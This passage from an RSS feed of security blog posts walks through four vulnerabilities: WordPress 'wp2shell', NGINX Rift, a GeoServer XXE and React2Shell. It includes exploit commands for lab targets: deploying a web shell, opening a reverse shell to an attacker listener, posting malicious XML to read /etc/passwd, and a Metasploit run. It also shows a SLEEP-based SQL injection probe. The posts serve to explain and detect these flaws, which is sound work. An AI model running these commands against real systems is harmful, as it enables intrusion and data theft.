analogy:</strong></p><p>The attacker now has an admin key to the building. They walk in, go to the server room, and install their own equipment. From this point on, they have complete control.</p><p><strong>What’s really happening:</strong></p><ol><li>Once you have administrator access to WordPress, getting full server control is straightforward and well-documented.</li><li>WordPress admins can <strong>install and activate plugins</strong>.</li><li>A plugin is just PHP code.</li></ol><p>The attacker:</p><ul><li>Creates a small plugin that contains a <strong>web shell</strong> (a PHP file that accepts commands and runs them on the server)</li><li>Uploads it through the WordPress admin panel</li><li>Activates the plugin</li><li>Now has <strong>arbitrary command execution</strong> on the server</li></ul><p>From here, they can read any file, access the database directly, pivot to other systems on the network — complete compromise.</p><blockquote><strong><em>The name “wp2shell” comes from this:</em></strong><em> WordPress to Shell → going from a WordPress URL to a server shell in one attack chain.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0vNaZIvhEkyZEUPzb05Nog.png" /></figure><h3>How to Check If Your Site Is Vulnerable</h3><p>There are three approaches, from quick to thorough.</p><h3>1. Check Your Version Number (Fastest)</h3><p>Go to your WordPress admin panel and look at the version in the footer or at Dashboard → Updates.</p><ul><li>If you’re on <strong>6.9.0–6.9.4</strong> or <strong>7.0.0–7.0.1</strong>: you’re vulnerable to the full chain.</li><li>If you’re on <strong>6.8.0–6.8.5</strong>: you have the SQL injection bug.</li><li>If you’re on <strong>6.7.x or below</strong>: you’re not affected.</li></ul><blockquote><strong><em>Caveat:</em></strong><em> Some themes, reverse proxies, or WAFs can hide or change the displayed version. This is a quick check, not a definitive one.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gaf74Ylyq-RHJKKohFWvIA.png" /></figure><h3>2. Test the Batch Endpoint (More Reliable)</h3><p>The vulnerable endpoint is reachable in two ways. Test both:</p><pre># Test the &quot;clean&quot; URL<br>curl -s -o /dev/null -w &quot;%{http_code}\n&quot; &lt;https://your-site.com/wp-json/batch/v1&gt;</pre><pre># Test the query-string version (often missed by WAFs)<br>curl -s -o /dev/null -w &quot;%{http_code}\n&quot; &quot;&lt;https://your-site.com/?rest_route=/batch/v1&gt;&quot;</pre><p>If <strong>either</strong> returns anything other than 404 or 403, the endpoint is exposed and your site may be vulnerable.</p><h3>3. Time-Based Blind SQL Injection Test (Most Accurate)</h3><p>This method tests whether the SQL injection is actually reachable by measuring response time:</p><pre># Normal request (baseline)<br>curl -s -o /dev/null -w &quot;%{http_code} %{time_total}s\n&quot; \<br>  &quot;&lt;https://your-site.com/?rest_route=/batch/v1&gt;&quot;</pre><pre># Request with SLEEP(5) injected<br>curl -s -o /dev/null -w &quot;%{http_code} %{time_total}s\n&quot; \<br>  &quot;&lt;https://your-site.com/?rest_route=/batch/v1&gt;&quot;</pre><p>The detection relies on this SQL fragment:</p><pre>(SELECT 1 FROM (SELECT SLEEP(5))x)</pre><p>If the request with SLEEP(5) consistently takes <strong>5 seconds longer</strong> than the baseline, the injection point is reachable and your site is vulnerable.</p><h3>Proof of Concept</h3><p>A working POC exploit is available on GitHub for security researchers and penetration testers:</p><p><strong>Repository:</strong> <a href="https://github.com/Icex0/wp2shell-poc">https://github.com/Icex0/wp2shell-poc</a></p><h3>Check if a Target Is Vulnerable</h3><pre>./wp2shell.py check &lt;http://127.0.0.1:8080/&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j8WleblRaKTUumtOa9Rx6A.png" /></figure><p>The wp2shell.py check command verifies that the target WordPress instance is vulnerable by detecting the route-confusion behavior associated with <strong>CVE-2026-63030</strong>.<br>The output confirms the vulnerability after analyzing the batch endpoint and matching the expected indicators of the flaw.</p><h3>Deploy a Shell on a Vulnerable Target</h3><pre>./wp2shell.py shell http://127.0.0.1:8080/ -i</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lzM8FZTqWEbTcvtQQMfdQg.png" /></figure><p>The wp2shell.py shell command demonstrates successful exploitation by creating an administrator account and deploying a web shell on the vulnerable WordPress site.<br>After authentication, an interactive shell is established, confirming remote command execution on the target server.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=174cba0fc256" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026–42945: Understanding NGINX Rift]]></title>
            <link>https://medium.com/@asadullah547335/cve-2026-42945-understanding-nginx-rift-dbb3f921ea3a?source=rss-9fc531dc7491------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbb3f921ea3a</guid>
            <category><![CDATA[heap-buffer-overflow]]></category>
            <category><![CDATA[nginx-rift]]></category>
            <category><![CDATA[rce-vulnerability]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[nginx]]></category>
            <dc:creator><![CDATA[Mr. Spider]]></dc:creator>
            <pubDate>Thu, 28 May 2026 13:47:13 GMT</pubDate>
            <atom:updated>2026-05-28T13:47:13.970Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NL3sO7GGhjEqrFrxqBZTyA.png" /><figcaption>NGINX Rift: when a rewrite bug becomes a heap overflow.</figcaption></figure><p><strong>NGINX Rift</strong> is a critical heap buffer overflow in NGINX’s <strong>ngx_http_rewrite_module</strong>. Under specific rewrite configurations, an unauthenticated remote attacker may be able to crash an NGINX worker process and, in more favorable memory conditions, potentially achieve remote code execution.</p><p>The vulnerability was publicly disclosed on <strong>May 13, 2026</strong> by depthfirst, alongside several other memory corruption issues found during the same audit.</p><h3>Key Facts</h3><ul><li><strong>CVE:</strong> CVE-2026–42945</li><li><strong>Severity:</strong> Critical</li><li><strong>CVSS v4 base score:</strong> 9.2</li><li><strong>Affected component:</strong> ngx_http_rewrite_module</li><li><strong>Affected versions:</strong> NGINX Open Source 0.6.27 through 1.30.0, NGINX Plus R32 through R36, and several downstream F5 products</li><li><strong>Fixed versions:</strong> NGINX Open Source 1.30.1 and 1.31.0, NGINX Plus R32 P6, R36 P4, and 37.0.0</li><li><strong>Public PoC:</strong> Published by depthfirst on <a href="https://github.com/DepthFirstDisclosures/Nginx-Rift">GitHub</a></li></ul><p>Importantly, this issue does <strong>not</strong> affect every NGINX deployment. It requires a specific configuration pattern involving rewrite captures, a query string separator, and a later directive that reuses captured data.</p><h3>When Is NGINX Vulnerable?</h3><p>The risky configuration requires all of the following:</p><ol><li>A rewrite rule captures part of the URL using values such as $1 or $2.</li><li>The rewrite target contains a ?.</li><li>Another rewrite, if, or set directive runs afterward in the same configuration context.</li></ol><p>A simplified vulnerable pattern looks like this:</p><pre>location ~ ^/api/(.*)$ {<br>rewrite ^/api/(.*)$ /internal?migrated=true;<br>set $original_endpoint $1; }</pre><p>At first glance, this looks ordinary. A request such as: /api/users/42</p><p>captures: users/42</p><p>and the server rewrites the request internally. The problem appears when the captured value contains characters that NGINX later needs to escape.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TCzpI8BJ402IKCggLru_cQ.png" /><figcaption>Flow of this Vulnerability</figcaption></figure><h3>The Root Cause</h3><p>NGINX processes some rewrite-related values in two stages:</p><ol><li><strong>Measure:</strong> calculate how much memory is needed.</li><li><strong>Write:</strong> copy the value into that allocated memory.</li></ol><p>In the vulnerable configuration, those two stages disagree.</p><p>For example, consider this request:</p><pre>/api/+++++</pre><p>The captured value is:</p><pre>+++++</pre><p>During the measurement stage, NGINX treats each + as one byte, so it calculates that five bytes are needed.</p><p>But because the earlier rewrite target contains a <strong>?</strong>, NGINX enters a query-string handling state. During the write stage, each + is escaped as: %2B</p><p>That means NGINX measured:</p><pre>+++++ = 5 bytes</pre><p>but wrote:</p><pre>%2B%2B%2B%2B%2B = 15 bytes</pre><p>NGINX allocates memory for the smaller version, then writes the larger escaped version into it. The extra bytes spill beyond the allocated buffer, creating a heap buffer overflow.</p><p>For a larger payload, such as 2,000 plus signs, the difference becomes much more serious:</p><ul><li>NGINX reserves roughly 2,000 bytes.</li><li>NGINX writes roughly 6,000 bytes.</li><li>The remaining data overflows into adjacent heap memory.</li></ul><p>That is the core of NGINX Rift: <strong>NGINX builds a box for the unescaped value, then fills it with the larger escaped value.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G42GZSqo9loGx2wuOixdIQ.png" /><figcaption>NGINX measures small, writes big, and overflows</figcaption></figure><h3>Why This Matters</h3><p>A heap overflow can corrupt nearby memory. In this case, the overflow may affect request-related structures inside NGINX’s memory pool.</p><p>A useful way to think about it is this:</p><p>For each request, NGINX creates temporary memory and cleanup metadata. When the request finishes, NGINX follows cleanup instructions associated with that memory. If an attacker can corrupt nearby cleanup structures, they may be able to influence what NGINX does when that request is cleaned up.</p><p>In practice, exploitation is difficult because the attacker does not get fully arbitrary byte-level control. The overflowed data is URL-escaped text, such as <strong>%2B</strong>, which limits precision. However, even without reliable code execution, a worker crash is still a realistic denial-of-service risk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A7RbwNNo74aVB-4DWYt8-Q.png" /><figcaption>Overflow from one request corrupts the cleanup handler of another.</figcaption></figure><h3>Exploitation</h3><p>In the test environment, the vulnerable NGINX target was exposed locally</p><p>The first step was to confirm that the containerized target was running and that NGINX responded to a benign request.</p><pre>http://10.49.137.95:19321/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*QFebc0ItQajC0utyT1iOkw.png" /><figcaption>NGINX is running</figcaption></figure><p>The next step is to run the proof of concept once in single-command mode to confirm that command execution is possible.</p><p>The exploit driver <strong>poc.py</strong>, supports two operating modes:</p><ul><li><strong>— cmd</strong>, which executes a single command through the vulnerable execution path and then exits.</li><li><strong>— shell</strong>, which attempts to establish an interactive shell from inside the container.</li></ul><p>For the initial validation, single-command mode is the safer and cleaner option. In this test, the payload writes a simple marker file to <strong>/tmp/pwned</strong> inside the container. The <strong>time prefix</strong> is used to measure how long the brute-force loop takes to succeed.</p><pre>time python3 poc.py --cmd &#39;echo hello from depthfirst &gt; /tmp/pwned&#39; --host 10.49.179.136</pre><p>When exploitation succeeds, the PoC shows this output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8T9SzRLu1Jdu8BIgEGVnAA.png" /><figcaption>Single Command Executed Successfully</figcaption></figure><p>After confirming single-command execution, the PoC can be run in shell mode to demonstrate interactive access inside the same controlled container environment.</p><p>In <strong>— shell mode</strong>, the driver prepares an interactive shell payload, starts a local listener, and runs the same brute-force process against the vulnerable NGINX instance.</p><pre>python3 poc.py --shell --host victim_ip --listen-port 1337 --listen-ip attacker_listen_ip</pre><p>The tool prints the generated command, starts a listener on TCP port 1337, and continues attempting the exploit until the memory layout aligns successfully.</p><p>On a successful trigger, the listener receives a connection and provides an interactive <strong>/bin/sh</strong> session running in the context of the NGINX worker process inside the container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YiFcE1m1ZZbsdOeYBQUqfw.png" /><figcaption>Get the Shell Access</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbb3f921ea3a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GeoServer Critical Vulnerability: CVE-2025–58360]]></title>
            <link>https://medium.com/@asadullah547335/geoserver-critical-vulnerability-cve-2025-58360-09b21b5d04a7?source=rss-9fc531dc7491------2</link>
            <guid isPermaLink="false">https://medium.com/p/09b21b5d04a7</guid>
            <dc:creator><![CDATA[Mr. Spider]]></dc:creator>
            <pubDate>Tue, 27 Jan 2026 17:36:05 GMT</pubDate>
            <atom:updated>2026-01-27T17:36:05.063Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SZDErRskvrTpTwWCb7SYTg.png" /></figure><p>In late 2025, a <strong>critical security vulnerability</strong> was discovered in <strong>GeoServer</strong>, a popular open-source platform used to publish and manage maps and geospatial data.<br> This vulnerability was assigned <strong>CVE-2025–58360</strong> and received a <strong>CVSS score of 9.8</strong>, which means it is <strong>extremely dangerous</strong>.</p><p>If a vulnerable GeoServer instance is exposed to the internet, <strong>anyone can exploit it without authentication</strong>.</p><h3>Vulnerable Versions</h3><p>The vulnerability affects:</p><ul><li>GeoServer versions <strong>before 2.25.6</strong></li><li>GeoServer <strong>2.26.0</strong></li><li>GeoServer <strong>2.26.1</strong></li></ul><p>If you are running any of these versions, you are at risk.</p><h3>Why This Vulnerability Is Dangerous</h3><p>This flaw allows an attacker to:</p><ul><li>Read sensitive files from the server (like /etc/passwd)</li><li>Perform <strong>Server-Side Request Forgery (SSRF)</strong></li><li>Access internal services and network resources</li></ul><p>Since GeoServer is widely used by <strong>governments and private companies</strong>, the impact can be very serious.</p><h3>What Is GeoServer?</h3><p>GeoServer is an <strong>open-source map server</strong> that allows users to:</p><ul><li>Publish maps on the web</li><li>Share geographic data</li><li>Manage layers like roads, buildings, routes, and locations</li></ul><h3>For Example,</h3><p>Imagine a <strong>logistics company</strong> that shows:</p><ul><li>Warehouse locations</li><li>Delivery routes</li><li>Service areas</li></ul><p>They may use GeoServer to power:</p><ul><li>Internal dashboards for staff</li><li>Public map applications for customers</li></ul><h3>Who Uses GeoServer?</h3><p>GeoServer is used in many sectors:</p><ul><li><strong>Government agencies</strong> — urban planning, transportation, land records</li><li><strong>Emergency services</strong> — disaster response, evacuation planning</li><li><strong>Environmental research</strong> — climate data, satellite imagery</li><li><strong>Utility companies</strong> — water lines, gas pipelines</li><li><strong>Private companies</strong> — logistics, navigation, asset tracking</li></ul><h3>How GeoServer Is Accessed</h3><ul><li>Imagine you run a small logistics company that operates several regional offices.</li><li>To help customers and partners visualize your service coverage, you deploy a public-facing map powered by GeoServer.</li><li>This map displays the locations of your regional offices and is embedded into a simple web application</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GUdGaLnusiy3vE1qbreYTQ.png" /><figcaption>GeoServer Web Application</figcaption></figure><h3>GeoServer From the CLI</h3><ul><li>While GeoServer is often accessed through web applications and GIS tools, administrators and developers commonly interact with it using the command line.</li><li>Tools like curl are frequently used to test services, validate configuration changes, and troubleshoot issues.</li><li>These requests are typically sent as HTTP GET requests and return structured data such as XML, JSON, or images.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WYWiSSXhUhcXoZEUhdHlxA.png" /><figcaption>Common GeoServer WMS Requests and Their Usage</figcaption></figure><h3>Getting Information from GeoServer</h3><p>For example, a <strong>DescribeLayer</strong> request can be sent like this:</p><pre>curl -s &quot;http://10.49.136.207:8080/geoserver/wms?service=WMS&amp;version=1.1.1&amp;request=DescribeLayer&amp;layers=map_offices&quot;</pre><h3>What This Command Does</h3><ul><li>curl -s sends an HTTP request</li><li>/geoserver/wms is the Web Map Service endpoint</li><li>DescribeLayer asks for metadata about a map layer</li><li>map_offices is the requested layer name</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VUZpJnJMUKYkxWunHd-2gA.png" /><figcaption>Information Gathering from GeoServer</figcaption></figure><h3>Understanding the Vulnerability (XXE)</h3><p>The vulnerability is caused by <strong>XML External Entity (XXE)</strong> processing.</p><h3>What Is XXE?</h3><p>XXE happens when:</p><ul><li>An application accepts XML input</li><li>The XML parser is not properly restricted</li><li>External entities are allowed</li></ul><p>An attacker can trick the server into:</p><ul><li>Reading system files</li><li>Making internal network requests</li></ul><h3>Simple Analogy</h3><p>Think of filling a form that should only accept text. Instead, you secretly add instructions saying:</p><blockquote><em>“Go read this file from your computer and include it here.”</em></blockquote><p>If the system trusts those instructions, sensitive data gets leaked.</p><h3>How the GeoServer Attack Works</h3><p>GeoServer supports XML-based requests, including <strong>GetMap</strong>.</p><p>Normally:</p><ul><li>GetMap is sent using HTTP GET</li></ul><p>But:</p><ul><li>GeoServer also allows <strong>XML via POST</strong></li></ul><h3>Attack Flow</h3><ol><li><strong>Request</strong> — Attacker sends a POST request with malicious XML</li><li><strong>Parsing</strong> — GeoServer parses the XML</li><li><strong>Weakness</strong> — XML parser allows external entities</li><li><strong>Resolution</strong> — External entity points to a file like /etc/passwd</li><li><strong>Processing</strong> — GeoServer processes the request</li><li><strong>Exfiltration</strong> — File contents appear in the error message</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*liBmZpL_bj4-mq9zsOlUvQ.png" /><figcaption>Attack Flow</figcaption></figure><h3>Exploiting the Vulnerability (Proof of Concept)</h3><h3>Step 1: Create a Malicious XML File</h3><p>Create a file called geoserver.xml:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*u6aISSXlzOyOorT3A6hrdQ.png" /><figcaption>Malicious Code</figcaption></figure><ul><li>This XML tells GeoServer to <strong>read </strong><strong>/etc/passwd</strong> instead of a map layer.</li></ul><h3><strong>Step 2: Send the Request</strong></h3><pre>curl -X POST &quot;http://10.49.136.207:8080/geoserver/wms?REQUEST=GetMap&amp;SERVICE=WMS&quot; \<br>-H &quot;Content-Type: application/xml&quot; \<br>-d @geoserver.xml</pre><h3>What Happens?</h3><ul><li>GeoServer processes the XML</li><li>The server reads the file</li><li>The file content appears in the response error message</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aH9A4GFYZ0F_Baw5f51WbA.png" /><figcaption>File Content appears in the Response</figcaption></figure><h3>Using Metasploit</h3><ul><li>A recent Metasploit <a href="https://www.rapid7.com/db/modules/auxiliary/gather/geoserver_wms_getmap_xxe_file_read/">module</a> has been developed that makes this exploit even easier.</li><li>Let’s test it against the target machine by launching msfconsole, configuring the necessary options, and running the exploit using the following commands.</li><li>By default, the module reads the /etc/passwd file on the host server.</li></ul><pre>msfconsole -q<br>use auxiliary/gather/geoserver_wms_getmap_xxe_file_read<br>set RHOSTS 10.49.136.207<br>set RPORT 8080<br>exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VQhVJjixO_x-Tn5fPJ1V5w.png" /><figcaption>/etc/passwd File Content appears in the Response</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=09b21b5d04a7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[React2Shell (CVE-2025–55182): From React Server Components to Unauthenticated RCE]]></title>
            <link>https://medium.com/@asadullah547335/react2shell-cve-2025-55182-from-react-server-components-to-unauthenticated-rce-b8f63b93a31f?source=rss-9fc531dc7491------2</link>
            <guid isPermaLink="false">https://medium.com/p/b8f63b93a31f</guid>
            <category><![CDATA[react2shell]]></category>
            <category><![CDATA[cve-2025-55182]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[rce-vulnerability]]></category>
            <category><![CDATA[reactjs]]></category>
            <dc:creator><![CDATA[Mr. Spider]]></dc:creator>
            <pubDate>Sat, 10 Jan 2026 17:29:52 GMT</pubDate>
            <atom:updated>2026-01-10T17:29:52.830Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wxCZB1eh3_hyZrtyS0kdjw.png" /></figure><p>In <strong>December 2025</strong>, security researchers disclosed one of the most critical vulnerabilities ever discovered in the React ecosystem: <strong>CVE-2025–55182</strong>, commonly known as <strong>React2Shell</strong>.</p><p>With a <strong>CVSS score of 10.0</strong>, this vulnerability allows <strong>unauthenticated remote code execution (RCE)</strong> through a <strong>single crafted HTTP request</strong>, affecting applications that use <strong>React Server Components (RSC)</strong> — most notably <strong>Next.js</strong>.</p><h3>🔥 Quick Summary</h3><ul><li><strong>Vulnerability Name:</strong> React2Shell</li><li><strong>CVE:</strong> CVE-2025–55182</li><li><strong>Severity:</strong> Critical (CVSS 10.0)</li><li><strong>Impact:</strong> Unauthenticated Remote Code Execution</li><li><strong>Affected React Versions:</strong></li><li>19.0.0</li><li>19.1.0</li><li>19.1.1</li><li>19.2.0</li><li><strong>Affected Packages:</strong></li><li>react-server-dom-webpack</li><li>react-server-dom-parcel</li><li>react-server-dom-turbopack</li><li><strong>Fixed Versions:</strong></li><li>19.0.1</li><li>19.1.2</li><li>19.2.1</li></ul><h3>Understanding React Server Components and the Flight Protocol</h3><h3>1️⃣ What are React Server Components?</h3><p>React Server Components mean <strong>some React code runs on the server</strong>, not in the user’s browser.</p><ul><li>The server does the heavy work</li><li>The browser only gets the final result</li><li>This makes websites <strong>faster and lighter</strong></li></ul><h3>2️⃣ How do the browser and server talk?</h3><p>They talk using a special system called <strong>React Flight</strong>. Think of React Flight like a <strong>delivery format</strong>:</p><ul><li>The browser sends a request</li><li>The server reads it, runs code, and sends back results</li></ul><h3>3️⃣ What are Server Actions?</h3><p>A <strong>Server Action</strong> is a function that:</p><ul><li>Runs only on the server</li><li>Can be triggered by the browser (for example, when you submit a form)</li></ul><p>To call a Server Action, the browser sends <strong>serialized data</strong> (data turned into a special text format).</p><h3>4️⃣ How does React Flight represent data?</h3><p>React Flight uses <strong>special symbols (markers)</strong> to describe data types:</p><ul><li>$@ → points to a chunk of data</li><li>$B → points to a Blob (file-like data)</li><li>$1:constructor:constructor → walks through object properties step by step</li></ul><p>You can think of this like <strong>directions</strong> telling the server:</p><blockquote><em>“Go here, then access this property, then that one”</em></blockquote><h3>5️⃣ Where is the security problem?</h3><p>🚨 <strong>The vulnerability is here</strong></p><p>The server <strong>trusts these directions too much</strong>.</p><ul><li>It follows the property paths sent by the client</li><li>It does <strong>not properly check</strong> if those properties are safe or allowed</li><li>An attacker can craft malicious paths like constructor:constructor</li></ul><p>This can allow access to <strong>dangerous internal JavaScript objects</strong>, potentially leading to <strong>remote code execution (RCE)</strong>.</p><p><strong>Serialization</strong>:</p><p>👉 Turning data or objects into a <strong>sendable format</strong> (like text or JSON).</p><p><strong>Deserialization</strong>:</p><p>👉 Turning that <strong>received text back into objects</strong>.</p><h3>The Core Vulnerability: Unsafe Deserialization</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*xuRwJD935_ykWCDSVdwC-g.png" /></figure><h3>What kind of bug is this?</h3><p><strong>CVE-2025–55182 is an unsafe deserialization bug.</strong></p><p>That means:</p><ul><li>The server receives data from the client</li><li>It <strong>trusts that data too much</strong></li><li>It turns it back into JavaScript objects <strong>without proper checks</strong></li></ul><h3>2️⃣ Where is the bug in the code?</h3><p>This is the dangerous part:</p><pre>return moduleExports[metadata[2]];</pre><p>What’s happening here:</p><ul><li>metadata[2] comes from the <strong>client</strong></li><li>The server uses it to access a property on a module</li><li><strong>No validation is done</strong></li></ul><h3>3️⃣ Why is bracket notation dangerous?</h3><p>In JavaScript, when you do:</p><pre>obj[&quot;something&quot;]</pre><p>JavaScript doesn’t stop at just the object itself.</p><p>➡️ It also checks:</p><ul><li>the object’s prototype (A hidden object that other objects inherit properties and functions from)</li><li>the prototype’s prototype (JavaScript keeps looking up parent objects to find properties)</li><li>and so on (this is called the <strong>prototype chain</strong>)</li></ul><p>So attackers aren’t limited to “normal” properties.</p><h3>4️⃣ The key JavaScript trick attackers abuse</h3><p>Every JavaScript function has a hidden door called:</p><pre>constructor</pre><p>If an attacker reaches:</p><pre>someFunction.constructor</pre><p>They get the <strong>Function constructor</strong>.</p><p>And the Function constructor can do this:</p><pre>Function(&quot;malicious code&quot;)()</pre><p>💥 That means <strong>run any JavaScript code on the server</strong>.</p><h3>5️⃣ How does React Flight help the attacker?</h3><p>React Flight lets the client send <strong>property paths</strong>, like directions:</p><pre>$1:constructor:constructor</pre><p>This tells the server:</p><ol><li>Load module/chunk 1</li><li>Go to its .constructor</li><li>Go to .constructor again</li></ol><p>React <strong>blindly follows these steps</strong>.</p><h3>6️⃣ Why this becomes Remote Code Execution</h3><p>Because:</p><ul><li>The client controls metadata[2]</li><li>React does not limit which properties can be accessed</li><li>Prototype properties like constructor are reachable</li><li>The Function constructor can execute strings</li></ul><p>➡️ <strong>An attacker can run arbitrary code on the server</strong></p><h3>The Exploitation Chain: From Deserialization to Remote Code Execution</h3><p>Now let’s dissect how <a href="https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3#file-cve-2025-55182-http">maple3142’s proof-of-concept</a> achieves remote code execution.</p><h3>Big picture</h3><p>There is a <strong>bug in how React handles incoming data</strong>. The attacker sends <strong>fake data that looks like something React expects</strong>, but it secretly contains instructions that make the server <strong>run system commands</strong>.</p><p>This attack turns:</p><blockquote><em>“I can control some data”</em></blockquote><blockquote><em>into</em></blockquote><blockquote><em>“I can run commands on the server”</em></blockquote><h3>Stage 1: Creating a fake object that tricks React</h3><p>The attacker sends a request with a <strong>fake object</strong> that pretends to be a normal React internal object (called a <em>Chunk</em>).</p><p>Why this matters:</p><ul><li>React expects this object to behave in a certain way</li><li>The attacker copies that structure <strong>just enough</strong> to fool React</li></ul><p>Key trick:</p><ul><li>The object says: <em>“When you wait for me, call my </em><em>then function”</em></li><li>But that then function actually points back to <strong>React’s own internal function</strong></li></ul><p>👉 Result:</p><p>When React processes this object, it accidentally <strong>calls its own code using attacker-controlled data</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*iaNK-q0LnVMPfbp52xLEVw.png" /><figcaption>Exploit Code</figcaption></figure><h3>Stage 2: Abusing how React reads uploaded data (Blob handling)</h3><p>React has special handling for <strong>Blob data</strong> (file-like data). When React sees something starting with $B, it:</p><ol><li>Treats it as a Blob</li><li>Calls an internal function to read it</li></ol><p>That internal function does something like:</p><pre>response._formData.get(response._prefix + id)</pre><h3>The clever part (the exploit)</h3><p>The attacker:</p><ul><li>Replaces _formData.get with <strong>JavaScript’s </strong><strong>Function constructor</strong></li><li>Controls _prefix, which contains <strong>malicious JavaScript code</strong></li></ul><p>So instead of:</p><pre>get(&quot;normal_string&quot;)</pre><p>It becomes:</p><pre>Function(&quot;attacker_code_here&quot;)</pre><p>⚠️ And <strong>Function() executes the code it receives</strong></p><p>👉 Result:</p><p>React unknowingly <strong>creates and runs attacker-supplied JavaScript</strong>.</p><h3>Stage 3: Running system commands (RCE)</h3><p>Now that arbitrary JavaScript runs on the server, the attacker uses Node.js features to run OS commands.</p><p>Example payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*qZI1Ei3Llc6L-gGVif7rCg.png" /></figure><p>What this does:</p><ul><li>Accesses Node.js internals</li><li>Loads the child_process module</li><li>Runs a system command (xcalc = calculator)</li></ul><p>This proves:</p><p>✅ The attacker can execute commands on the server</p><h3>Why this is dangerous</h3><p>Once code execution is achieved, the attacker can:</p><ul><li>Open a reverse shell</li><li>Steal secrets (API keys, tokens, env variables)</li><li>Read or delete files</li><li>Pivot deeper into the system</li></ul><p>Basically:</p><blockquote><em>Whatever the Node.js process is allowed to do — the attacker can do too</em></blockquote><h3>One-line summary</h3><p><strong>By sending fake React objects, the attacker tricks React into calling JavaScript’s </strong><strong>Function constructor, which executes attacker-controlled code and leads to full remote code execution.</strong></p><h3>Final Flowchart</h3><pre>Request arrives<br>     ↓<br>React sees Server Action<br>     ↓<br>Deserialize Field0<br>     ↓<br>Field1 ($@0) → points backto Field0<br>     ↓<br>Circularobject created<br>     ↓<br>Fake&quot;then&quot; detected<br>     ↓<br>React thinks it&#39;s a Promise<br>     ↓<br>React usesnewFunction(...)<br>     ↓<br>Attacker code runs</pre><h3>Vulnerable versions</h3><p>This bug <strong>CVE-2025–55182</strong> affects apps using <strong>React Server Components (RSC)</strong>, including:</p><ul><li><strong>React</strong> versions <strong>19.0.0–19.2.0</strong></li><li><strong>Next.js</strong> versions <strong>14.3.0-canary.77 and above</strong>, all <strong>15.x</strong>, and <strong>16.x</strong> before fixes</li><li>Other frameworks using RSC like <strong>React Router (RSC mode)</strong>, <strong>Waku</strong>, and <strong>Redwood SDK</strong></li></ul><h3>Why this is dangerous</h3><ul><li><strong>Default setup is vulnerable</strong> — A normal <strong>Next.js app (create-next-app)</strong> can be attacked without changing any code</li><li><strong>No login needed (no authentication)</strong> — Anyone can attack it</li><li><strong>Very reliable attack</strong> — Works almost every time</li><li><strong>Used everywhere</strong> — Many websites use these frameworks</li></ul><h3>Attack surface (how big the risk is)</h3><ul><li><strong>39% of cloud environments</strong> have vulnerable apps (Wiz Research)</li><li>Over <strong>571,000 servers</strong> use <strong>React</strong></li><li>About <strong>444,000 servers</strong> use <strong>Next.js</strong></li></ul><p>👉 Even if not all are vulnerable, <strong>the number of possible targets is huge</strong>.</p><h3>Exploitation:</h3><ul><li>We can view the app’s home page.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RpG6TYIBuaohxO8Ros0ViA.png" /><figcaption>Vulnerable Apps Home Page</figcaption></figure><ul><li>At the time of writing, our preferred choice is a payload that allows us to view the command execution result in the server’s response, as obtained from <a href="https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478">here</a>.</li><li>Send the request to the Vulnerable Apps with the help of Burp Suite Repeater.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hVbR66-U3Afu3dlmuvTFTA.png" /></figure><ul><li>This payload will return the command output back to us in the server’s response.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8f63b93a31f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Critical Remote Code Execution in n8n (CVE-2025–68613)]]></title>
            <link>https://medium.com/@asadullah547335/critical-remote-code-execution-in-n8n-cve-2025-68613-df1fbde512bc?source=rss-9fc531dc7491------2</link>
            <guid isPermaLink="false">https://medium.com/p/df1fbde512bc</guid>
            <category><![CDATA[cve-2025-68613]]></category>
            <category><![CDATA[critical-rce-in-n8n]]></category>
            <dc:creator><![CDATA[Mr. Spider]]></dc:creator>
